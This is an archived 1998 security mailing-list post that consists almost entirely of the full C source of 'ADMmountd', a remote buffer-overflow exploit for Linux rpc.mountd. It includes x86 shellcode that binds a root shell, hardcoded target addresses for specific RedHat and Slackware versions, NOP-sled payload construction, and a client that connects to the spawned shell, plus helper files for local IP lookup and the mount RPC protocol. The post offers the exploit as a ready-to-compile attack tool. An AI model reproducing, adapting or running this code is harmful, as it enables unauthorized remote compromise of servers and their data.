more rpc.mountd

From: jason valentine (jasonvalentineat_private)
Date: Wed Sep 30 1998 - 07:22:31 PDT

  • Next message: Kevin Hawkins: "Re: IRIX 6.2 passwordless accounts exploit?"

    -------------
    ADMmountd.c
    -------------
    
    /*
     *
     *
     * Linux rpc.mountd 2.2beta29 exploit
     *
     * Coded by plaguez, Antilove, Mikasoft at the ADM Party (7/98)
     *
     * Credits:
     *    - DiGiT for finding the vulnerability
     * Compile: rpcgen mount.x ; gcc exmnt.c
     */
    
    
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <time.h>
    #include <string.h>
    #include <ctype.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>
    #include <netdb.h>
    #include <getopt.h>
    #include "mount_clnt.c"
    #include "mount_xdr.c"
    #include "ADMgetip.c"
    
    #define NOP       0x90
    #define WAITPORT  10752
    #define STKLEN    200
    
    char buff[10000];
    
    struct target
      {
        char desc[80];
        int systype;
        unsigned long addr;
        int addalign;
      };
    
    struct target targets[] =
    {
      {"RedHat Linux 5.1 k 2.0.35 rpc.mountd",      0, 0x08052d28, 0},
      {"Slakware 3.3 k 2.0.33+Solar_Designer's patch rpc.mountd 2.2beta29",
                                                    0, 0x0805bbe0, 0},
    };
    
    char c0de[] =
     "\x33\xDB\x33\xC0\xB0\x1B\xCD\x80" /* alarm(0); */
     "\x33\xD2\x33\xc0\x8b\xDA\xb0\x06\xcd\x80\xfe\xc2\x75\xf4" /* close
    FDs */
      "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x62\xeb\x62" /* w/  fork() */
    //"\x31\xc0\xb0\x02\x90\x90\x85\xc0\x90\x90\xeb\x62" /* w/o fork() */
     "\x5e\x56\xac\x3c\xfd\x74\x06\xfe\xc0\x74\x0b" /* =\_ who wrote it? */
     "\xeb\xf5\xb0\x30\xfe\xc8\x88\x46\xff\xeb\xec" /* =/` hmm?  */
    
    "\x5e\xb0\x02\x89\x06\xfe\xc8\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\x31\xdb"
    
    "\xfe\xc3\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x2a\x66\x89\x46"
    
    "\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0"
    
    "\x66\xfe\xc3\xcd\x80\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04\xcd\x80\xeb\x04"
    
    "\xeb\x4c\xeb\x52\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xfe\xc3\xcd\x80"
    
    "\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xb0\x3f\xfe\xc1"
    
    "\xcd\x80\xb8\x2e\x62\x69\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46"
    
    "\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
    
    "\x08\x8d\x56\x0c\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x45\xff\xff"
    
    "\xff\xFF\xFD\xFF\x50\x72\x69\x76\x65\x74\x20\x41\x44\x4D\x63\x72\x65\x77";
    
    
    void
    handle_alarm (sn)
         int sn;
    {
      alarm (0);
      signal (SIGALRM, SIG_DFL);
      printf ("Unable to connect: Connection timed out\n");
      exit (0);
    }
    
    
    unsigned long
    host2ip (char *serv)
    {
      struct sockaddr_in sinn;
      struct hostent *hent;
    
      hent = gethostbyname (serv);
      if (hent == NULL)
        return 0;
      bzero ((char *) &sinn, sizeof (sinn));
      memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
      return sinn.sin_addr.s_addr;
    }
    
    
    void
    addchar (char *str, char ch)
    {
      unsigned int len;
    
      len = strlen (str);
      str[len] = ch;
      str[len + 1] = 0;
    }
    
    
    int
    ConnectServer (char *host, int port)
    {
      int sockdesc;
      struct sockaddr_in sin;
      struct hostent *he;
    
      sin.sin_port = htons (port);
      sin.sin_family = AF_INET;
    
      he = gethostbyname (host);
      if (he)
        {
          memcpy ((caddr_t) & sin.sin_addr.s_addr, he->h_addr,
    he->h_length);
        }
      else
        {
          printf ("Error: gethostbyname(): Unable to resolve [%s]\n", host);
          exit (-1);
        }
    
      if ((sockdesc = socket (AF_INET, SOCK_STREAM, 0)) < 0)
        {
          perror ("Error: socket()");
          exit (-1);
        }
      if (connect (sockdesc, (struct sockaddr *) &sin, sizeof (sin)) < 0)
        {
          perror ("Error: connect()");
          exit (-1);
        }
      return sockdesc;
    }
    
    
    void
    MultiplexConnection (int sockdesc)
    {
      int ret;
      char sockbuf[2048];
      fd_set readfds;
    
      sprintf (sockbuf, "trap '' SIGALRM SIGTRAP\n\
    PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/usr/sbin;export PATH\n\
    /usr/sbin/rpc.mountd </dev/null\n\
    /bin/uname -a;/usr/bin/id\n");
      write (sockdesc, sockbuf, strlen(sockbuf));
    
      while (1)
        {
          FD_ZERO (&readfds);
          FD_SET (0, &readfds);
          FD_SET (sockdesc, &readfds);
          select (255, &readfds, NULL, NULL, NULL);
    
          if (FD_ISSET (sockdesc, &readfds))
            {
              memset (sockbuf, 0, 2048);
              ret = read (sockdesc, sockbuf, 2048);
              if (ret <= 0)
                {
                  printf ("Connection closed by foreign host.\n");
                  exit (-1);
                }
              printf ("%s", sockbuf);
            }
          if (FD_ISSET (0, &readfds))
            {
              memset (sockbuf, 0, 2048);
              read (0, sockbuf, 2048);
              write (sockdesc, sockbuf, 2048);
            }
        }
    }
    
    
    int
    lookup_host (ra, hn, rp)
         struct sockaddr_in *ra;
         char *hn;
         unsigned short rp;
    {
      ra->sin_family = AF_INET;
      ra->sin_port = htons (rp);
      if ((ra->sin_addr.s_addr = inet_addr (hn)) == -1)
        {
          struct hostent *he;
    
          if ((he = gethostbyname (hn)) != (struct hostent *) NULL)
            {
              memcpy (&ra->sin_addr.s_addr, he->h_addr, 4);
              return 1;
            }
          else
            herror ("Unable to resolve hostname");
        }
      else
        return 1;
      return 0;
    }
    
    
    int
    m00unt (char *host, char *buf)
    {
    
      CLIENT *client;
      fhstatus *FH;
      dirpath DIR;
      char buffer[10000];
      int i;
      char c;
    
    /* ini the stuff     */
    /* mika is fuqn bad @ mace heheheh I OWN HIM %!@$!@$!@ :) */
      bzero (buffer, sizeof (buffer));
      DIR = buffer;
    
    /* create the socket */
    
      if ((client = clnt_create (host, MOUNTPROG, MOUNTVERS, "udp")) ==
    NULL)
        {
          printf ("rpc.mountd not registred :>\n");
          exit (2);
        }
    
      strncpy (DIR, buf, sizeof (buffer));
    
      if ((mountproc_mnt_1 (&DIR, client)) == -1)
        {
          printf ("mountproc_mnt failed :<\n");
          exit (0);
        }
    
    }
    
    
    void
    attack_mountd (loc)
         char *loc;
    {
      int sockdesc;
      int status;
    
      switch (fork ())
        {
        case 0:
          m00unt (loc, buff);
          printf ("@#$%#!#$$\n");
          exit (1);
        case -1:
          printf ("fork error\n");
          exit (1);
        default:
          printf ("Attente connexion...\n");
          fflush (stdout);
          wait (&status);
        }
    
      sleep (5);
      sockdesc = ConnectServer (loc, WAITPORT);
    
      printf ("Shell found!\n");
      MultiplexConnection (sockdesc);
    
      close (sockdesc);
    
      exit (-1);
    
    }
    
    
    void
    usage (char *pname)
    {
      int compt;
    
      printf ("\nUsage:\t%s targethost [-t type] [-o offset] [-a
    align]\n", pname);
      printf ("\ttargethost may either be name or ip.\n");
      printf ("\ttype chooses from a list of predefined targets.\n");
      for (compt = 0; compt < sizeof (targets) / (sizeof (struct target));
    compt++)
        printf ("\t\t%i: %s\n", compt, targets[compt].desc);
      printf ("\toffset is the offset (not required if -t is used)\n");
      printf ("\talign is the alignment (not required if -t is used)\n\n");
    }
    
    
    int
    host2a (unsigned long ipz)
    {
      struct in_addr muf;
      muf.s_addr = ipz;
      return ((103 - (strlen (inet_ntoa (muf)))) % 4);
    }
    
    
    void
    main (argc, argv)
         int argc;
         char *argv[];
    {
      int i;
      struct sockaddr_in ra;
      struct in_addr blah;
      unsigned long muf;
      char *ptr;
      char *endbuff;
      char *target = NULL;
      unsigned long addr;
      unsigned char jmp;
      long *l_ptr;
      int offset = 0;
      int bsize = 1024;
      int align = -1;
      int targ = 0;
      char o;
      char *argv0 = strdup (argv[0]);
    
      while ((o = getopt (argc, argv, "a:o:t:h")) != -1)
        switch (o)
          {
          case 'h':
            usage (argv0);
            exit (1);
          case 'o':
            if (optarg)
              offset -= atoi (optarg);
            break;
          case 't':
            if (optarg)
              targ = atoi (optarg);
            break;
          case 'a':
            if (optarg)
              align = atoi(optarg);
            break;
          }
    
      argc -= optind;
      argv += optind;
      target = *argv;
    
      if (!target)
        {
          usage (argv0);
          exit (1);
        }
      memset (buff, '\x90', bsize);
    
      printf ("selected target (-t %d): %s.\n", targ, targets[targ].desc);
      addr = targets[targ].addr;
    
      printf ("shellcode lenght: %i\n", strlen(c0de));
      printf ("buffer size: %i\n", bsize);
    
      addr += offset;
      printf ("offset: %d\n", offset);
      printf ("address: 0x%lx\n", addr);
    
      getlocalip (&muf, host2ip (target));
      blah.s_addr = muf;
      printf ("local ip = %s\n", inet_ntoa (blah));
      if (align < 0)
        align = host2a (muf);
      printf ("align = %i\n", align);
      align += targets[targ].addalign;
    
      endbuff = buff + bsize;
    
      for (ptr = buff; ptr < (endbuff - strlen(c0de) - STKLEN); ptr++)
        *ptr = NOP;
    
      for (i = 0; i < strlen(c0de); i++)
        *(ptr++) = c0de[i];
    
      for (ptr += align; ptr < endbuff; ptr += 4)
        {
          ptr[0] = (addr & 0x000000ff);
          ptr[1] = (addr & 0x0000ff00) >> 8;
          ptr[2] = (addr & 0x00ff0000) >> 16;
          ptr[3] = (addr & 0xff000000) >> 24;
        }
    
      *endbuff = '\x0';
    
      attack_mountd (target);
    }
    
    /* today 9 Aug 1998 */
    
    ----------------
    ADMgetip.c
    ----------------
    
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include "ip_icmp.h"
    
    #define ICMP_REPLY_TIMEOUT 15
    
    unsigned short
    in_cksum (addr, len)
         u_short *addr;
         int len;
    {
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;
    
      /*
       * Our algorithm is simple, using a 32 bit accumulator (sum), we add
       * sequential 16 bit words to it, and at the end, fold back all the
       * carry bits from the top 16 bits into the lower 16 bits.
       */
      while (nleft > 1)
        {
          sum += *w++;
          nleft -= 2;
        }
    
      /* mop up an odd byte, if necessary */
      if (nleft == 1)
        {
          *(u_char *) (&answer) = *(u_char *) w;
          sum += answer;
        }
    
      /* add back carry outs from top 16 bits to low 16 bits */
      sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
      sum += (sum >> 16);           /* add carry */
      answer = ~sum;                /* truncate to 16 bits */
      return (answer);
    }
    
    
    int getlocalip(unsigned long* src,unsigned long dest)
    {
    char try = 0;
    struct sockaddr_in sin;
    int icmp_sock;
    int paket_len,sin_len;
    char paket[1024];
    short* chk;
    struct timeval tm,tm1,tm2;
    long sec,usec;
    float ms;
    fd_set fdset;
    struct icmphdr* icmp=(struct icmphdr*)paket;
    
     kkk:
    
      icmp_sock=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    
      FD_ZERO(&fdset);
      FD_SET(icmp_sock,&fdset);
      tm.tv_sec=ICMP_REPLY_TIMEOUT;;
      tm.tv_usec=0;
    
      sin.sin_family=AF_INET;
      sin.sin_port=htons(0);
      sin.sin_addr.s_addr=dest;
    
      paket_len=8;
    
      icmp->type=8;
      icmp->code=0;
      icmp->checksum=0;
      icmp->un.echo.id=59;
      icmp->un.echo.sequence=0;
      icmp->checksum=in_cksum(icmp,paket_len);
    
      sin_len=sizeof(sin);
      sendto(icmp_sock,&paket,paket_len,0,(struct sockaddr *)&sin,sin_len);
    
      gettimeofday(&tm1,NULL);
      if (select(icmp_sock+1,&fdset,NULL,NULL,&tm)==1) {
        recvfrom(icmp_sock,&paket,sizeof(paket),0,(struct sockaddr
    *)&sin,&sin_len);
        gettimeofday(&tm2,NULL);
        sec=tm2.tv_sec-tm1.tv_sec;
        usec=tm2.tv_usec-tm1.tv_usec;
        ms=(sec*1000)+((float)usec/1000);
        printf("ping: %9.2fms\n",ms);
      }
      else {
        printf("ping timeout\n");
        try ++;
        if ( try > 2 )return(-1);
        close (icmp_sock);
        goto kkk;
      }
    
      *src=sin.sin_addr.s_addr;
      return 0;
    }
    
    ---------------
    ip_icmp.h
    ---------------
    struct icmphdr
    {
      u_int8_t type;                /* message type */
      u_int8_t code;                /* type sub-code */
      u_int16_t checksum;
      union
      {
        struct
        {
          u_int16_t id;
          u_int16_t sequence;
        } echo;                     /* echo datagram */
        u_int32_t   gateway;        /* gateway address */
        struct
        {
          u_int16_t __unused;
          u_int16_t mtu;
        } frag;                     /* path mtu discovery */
      } un;
    };
    
    #define ICMP_ECHOREPLY          0       /* Echo Reply                   */
    #define ICMP_DEST_UNREACH       3       /* Destination Unreachable      */
    #define ICMP_SOURCE_QUENCH      4       /* Source Quench                */
    #define ICMP_REDIRECT           5       /* Redirect (change route)      */
    #define ICMP_ECHO               8       /* Echo Request                 */
    #define ICMP_TIME_EXCEEDED      11      /* Time Exceeded                */
    #define ICMP_PARAMETERPROB      12      /* Parameter Problem            */
    #define ICMP_TIMESTAMP          13      /* Timestamp Request            */
    #define ICMP_TIMESTAMPREPLY     14      /* Timestamp Reply              */
    #define ICMP_INFO_REQUEST       15      /* Information Request          */
    #define ICMP_INFO_REPLY         16      /* Information Reply            */
    #define ICMP_ADDRESS            17      /* Address Mask Request         */
    #define ICMP_ADDRESSREPLY       18      /* Address Mask Reply           */
    #define NR_ICMP_TYPES           18
    
    
    /* Codes for UNREACH. */
    #define ICMP_NET_UNREACH        0       /* Network Unreachable          */
    #define ICMP_HOST_UNREACH       1       /* Host Unreachable             */
    #define ICMP_PROT_UNREACH       2       /* Protocol Unreachable         */
    #define ICMP_PORT_UNREACH       3       /* Port Unreachable             */
    #define ICMP_FRAG_NEEDED        4       /* Fragmentation Needed/DF set  */
    #define ICMP_SR_FAILED          5       /* Source Route failed          */
    #define ICMP_NET_UNKNOWN        6
    #define ICMP_HOST_UNKNOWN       7
    #define ICMP_HOST_ISOLATED      8
    #define ICMP_NET_ANO            9
    #define ICMP_HOST_ANO           10
    #define ICMP_NET_UNR_TOS        11
    #define ICMP_HOST_UNR_TOS       12
    #define ICMP_PKT_FILTERED       13      /* Packet filtered */
    #define ICMP_PREC_VIOLATION     14      /* Precedence violation */
    #define ICMP_PREC_CUTOFF        15      /* Precedence cut off */
    #define NR_ICMP_UNREACH         15      /* instead of hardcoding immediate value */
    
    /* Codes for REDIRECT. */
    #define ICMP_REDIR_NET          0       /* Redirect Net                 */
    #define ICMP_REDIR_HOST         1       /* Redirect Host                */
    #define ICMP_REDIR_NETTOS       2       /* Redirect Net for TOS         */
    #define ICMP_REDIR_HOSTTOS      3       /* Redirect Host for TOS        */
    
    /* Codes for TIME_EXCEEDED. */
    #define ICMP_EXC_TTL            0       /* TTL count exceeded           */
    #define ICMP_EXC_FRAGTIME       1       /* Fragment Reass time exceeded */
    
    ------------
    mount.x
    ------------
    
    /* @(#)mount.x  2.1 88/08/01 4.0 RPCSRC */
    /* @(#)mount.x 1.2 87/09/18 Copyr 1987 Sun Micro */
    
    /*
     * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
     * unrestricted use provided that this legend is included on all tape
     * media and as a part of the software program in whole or part.  Users
     * may copy or modify Sun RPC without charge, but are not authorized
     * to license or distribute it to anyone else except as part of a
    product or
     * program developed by the user.
     *
     * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING
    THE
     * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
     * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE
    PRACTICE.
     *
     * Sun RPC is provided with no support and without any obligation on the
     * part of Sun Microsystems, Inc. to assist in its use, correction,
     * modification or enhancement.
     *
     * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
     * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
     * OR ANY PART THEREOF.
     *
     * In no event will Sun Microsystems, Inc. be liable for any lost
    revenue
     * or profits or other special, indirect and consequential damages,
    even if
     * Sun has been advised of the possibility of such damages.
     *
     * Sun Microsystems, Inc.
     * 2550 Garcia Avenue
     * Mountain View, California  94043
     */
    
    /*
     * Protocol description for the mount program
     */
    
    
    const MNTPATHLEN = 1024;        /* maximum bytes in a pathname argument */
    const MNTNAMLEN = 255;          /* maximum bytes in a name argument */
    const FHSIZE = 32;              /* size in bytes of a file handle */
    
    /*
     * The fhandle is the file handle that the server passes to the client.
     * All file operations are done using the file handles to refer to a
    file
     * or a directory. The file handle can contain whatever information the
     * server needs to distinguish an individual file.
     */
    typedef opaque fhandle[FHSIZE];
    
    /*
     * If a status of zero is returned, the call completed successfully,
    and
     * a file handle for the directory follows. A non-zero status indicates
     * some sort of error. The status corresponds with UNIX error numbers.
     */
    union fhstatus switch (unsigned fhs_status) {
    case 0:
            fhandle fhs_fhandle;
    default:
            void;
    };
    
    /*
     * The type dirpath is the pathname of a directory
     */
    typedef string dirpath<MNTPATHLEN>;
    
    /*
     * The type name is used for arbitrary names (hostnames, groupnames)
     */
    typedef string name<MNTNAMLEN>;
    
    /*
     * A list of who has what mounted
     */
    typedef struct mountbody *mountlist;
    struct mountbody {
            name ml_hostname;
            dirpath ml_directory;
            mountlist ml_next;
    };
    
    /*
     * A list of netgroups
     */
    typedef struct groupnode *groups;
    struct groupnode {
            name gr_name;
            groups gr_next;
    };
    
    /*
     * A list of what is exported and to whom
     */
    typedef struct exportnode *exports;
    struct exportnode {
            dirpath ex_dir;
            groups ex_groups;
            exports ex_next;
    };
    
    program MOUNTPROG {
            /*
             * Version one of the mount protocol communicates with version two
             * of the NFS protocol. The only connecting point is the fhandle
             * structure, which is the same for both protocols.
             */
            version MOUNTVERS {
                    /*
                     * Does no work. It is made available in all RPC services
                     * to allow server reponse testing and timing
                     */
                    void
                    MOUNTPROC_NULL(void) = 0;
    
                    /*
                     * If fhs_status is 0, then fhs_fhandle contains the
                     * file handle for the directory. This file handle may
                     * be used in the NFS protocol. This procedure also adds
                     * a new entry to the mount list for this client mounting
                     * the directory.
                     * Unix authentication required.
                     */
                    fhstatus
                    MOUNTPROC_MNT(dirpath) = 1;
    
                    /*
                     * Returns the list of remotely mounted filesystems. The
                     * mountlist contains one entry for each hostname and
                     * directory pair.
                     */
                    mountlist
                    MOUNTPROC_DUMP(void) = 2;
    
                    /*
                     * Removes the mount list entry for the directory
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNT(dirpath) = 3;
    
                    /*
                     * Removes all of the mount list entries for this client
                     * Unix authentication required.
                     */
                    void
                    MOUNTPROC_UMNTALL(void) = 4;
    
                    /*
                     * Returns a list of all the exported filesystems, and which
                     * machines are allowed to import it.
                     */
                    exports
                    MOUNTPROC_EXPORT(void)  = 5;
    
                    /*
                     * Identical to MOUNTPROC_EXPORT above
                     */
                    exports
                    MOUNTPROC_EXPORTALL(void) = 6;
            } = 1;
    } = 100005;
    
    
    
    -jasonvalentine
    
    
    
    _________________________________________________________
    DO YOU YAHOO!?
    Get your free @yahoo.com address at http://mail.yahoo.com
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:18:26 PDT